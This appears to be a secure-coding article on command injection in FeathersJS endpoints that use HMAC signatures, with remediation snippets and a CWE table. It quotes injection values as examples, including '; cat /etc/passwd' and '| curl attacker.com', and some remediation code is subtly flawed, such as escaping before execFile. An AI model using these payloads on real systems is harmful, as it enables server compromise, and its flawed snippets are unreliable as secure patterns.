Command Injection in Feathersjs with Hmac Signatures
Command Injection in Feathersjs with Hmac Signatures — how this specific combination creates or exposes the vulnerability
FeathersJS is a framework for building web APIs with JavaScript and TypeScript. When HMAC signatures are used for request authentication, they typically involve a shared secret and a deterministic algorithm (e.g., HMAC-SHA256) to sign a canonical string built from selected parts of an HTTP request. If the server uses parts of external input—such as query parameters, headers, or payload fields—directly in the signature base string without strict validation, and then later uses that input in a system-level operation, command injection may arise.
Command injection occurs when an attacker can cause the server to execute unintended operating system commands. In the context of FeathersJS with HMAC signatures, a typical scenario is an endpoint that accepts parameters used both for signature verification and for constructing a command (for example, a file path, a service name, or an operation identifier). If the server concatenates user-controlled values into the string that is signed, an attacker might manipulate signature bypass by carefully choosing values that keep the signature valid but change the effective command. Even if the signature passes, the server might pass the attacker-controlled value to a shell or an unsafe utility (e.g., via exec or child_process.spawn with unsanitized arguments), leading to arbitrary command execution.
Consider a FeathersJS service that invokes a system utility to retrieve status for a named resource. If the resource name is taken from request input, included in the HMAC base string, and then forwarded to a command without strict allowlisting, an attacker can inject shell metacharacters. For example, a name like myresource; cat /etc/passwd could cause the server to execute additional commands if the input is not sanitized or if escaping is applied incorrectly. Because HMAC signatures ensure integrity but not safety of the content, the server may trust the input after signature validation and pass it directly to a subprocess, creating a command injection path.
Another vector involves header-based signing where a header value is included in the signature base and later used in process spawning. If the header value is not canonicalized and validated (e.g., disallowing shell metacharacters, enforcing strict type checks), an attacker can supply values like | curl attacker.com or && wget malicious that alter command semantics after the signature check. This highlights why HMAC-based authentication must be complemented by rigorous input validation and by avoiding the use of external input in shell commands.
In summary, the combination of Hmac Signatures in FeathersJS and command construction from the same inputs creates risk when the integrity guarantees of HMAC are mistakenly assumed to imply safety. Attackers exploit the gap between cryptographic integrity and safe handling of untrusted data, using signature-preserving manipulations to execute arbitrary commands if the server fails to validate, escape, or avoid using untrusted input in shell operations.
Hmac Signatures-Specific Remediation in Feathersjs — concrete code fixes
To remediate command injection when using HMAC signatures in FeathersJS, ensure that inputs used in command construction are never derived from or influenced by external data, and apply strict allowlisting and escaping. Below are concrete code examples that demonstrate secure patterns.
First, use a canonicalization strategy that excludes external input from the signature base when that input will be used in sensitive operations. Sign only trusted metadata (e.g., a timestamp, nonce, and fixed service identifier), and validate command parameters separately with strict rules.
// Example: Secure HMAC signing in a FeathersJS hook
const crypto = require('crypto');
const secret = process.env.HMAC_SECRET;
function buildBaseString(timestamp, nonce, action) {
// action must be a fixed, server-side constant for the operation
return `${timestamp}:${nonce}:${action}`;
}
function verifyRequest(req, expectedAction) {
const timestamp = req.headers['x-timestamp'];
const nonce = req.headers['x-nonce'];
const receivedSignature = req.headers['x-signature'];
const calculatedSignature = crypto
.createHmac('sha256', secret)
.update(buildBaseString(timestamp, nonce, expectedAction))
.digest('hex');
return crypto.timingSafeEqual(
Buffer.from(receivedSignature),
Buffer.from(calculatedSignature)
);
}
// In a FeathersJS before hook
module.exports = function authenticateHmac() {
return (context) => {
const action = 'get-status'; // server-side constant
if (!verifyRequest(context.params, action)) {
throw new Error('Invalid signature');
}
// Proceed with validated, non-external parameters only
return context;
};
};
Second, when a command must be constructed, use allowlisted values and avoid concatenating raw user input. For example, if an operation targets a known set of resources, map a validated identifier to a command argument rather than passing raw input.
// Example: Safe command construction in a FeathersJS service method
const { execFile } = require('child_process');
const util = require('util');
const execFileAsync = util.promisify(execFile);
const ALLOWED_RESOURCES = new Set(['status', 'health', 'version']);
async function runSafeCommand(resource) {
if (!ALLOWED_RESOURCES.has(resource)) {
throw new Error('Invalid resource');
}
// resource is now guaranteed to be safe; no shell injection risk
const { stdout } = await execFileAsync('/usr/bin/check-status', [resource]);
return stdout;
}
// In a FeathersJS service
class MyService {
async get(id, params) {
const resource = params.resource; // validated allowlist check performed earlier
return runSafeCommand(resource);
}
}
Third, if you must accept dynamic values, enforce strict validation and escape using platform-specific safe APIs (e.g., avoid shell=True in Python, avoid eval-like patterns in Node). Never build shell commands by string concatenation with untrusted data.
// Example: Input validation and safe argument array usage
const escape = require('escape-shell-arg');
function buildCommandWithEscapedArgs(baseCommand, userSupplied) {
// Validate format strictly (alphanumeric and dashes only)
if (!/^[a-zA-Z0-9_-]+$/.test(userSupplied)) {
throw new Error('Invalid input');
}
const escaped = escape(userSupplied);
// Use execFile with argument array to avoid shell parsing
return execFile(baseCommand, [escaped]);
}
By combining HMAC-based authentication with disciplined input handling—signing only trusted constants, using allowlists, and avoiding shell interpretation of external input—you mitigate command injection risks while preserving the integrity checks HMAC provides.
Related CWEs: inputValidation
| CWE ID | Name | Severity |
|---|---|---|
| CWE-20 | Improper Input Validation | HIGH |
| CWE-22 | Path Traversal | HIGH |
| CWE-74 | Injection | CRITICAL |
| CWE-77 | Command Injection | CRITICAL |
| CWE-78 | OS Command Injection | CRITICAL |
| CWE-79 | Cross-site Scripting (XSS) | HIGH |
| CWE-89 | SQL Injection | CRITICAL |
| CWE-90 | LDAP Injection | HIGH |
| CWE-91 | XML Injection | HIGH |
| CWE-94 | Code Injection | CRITICAL |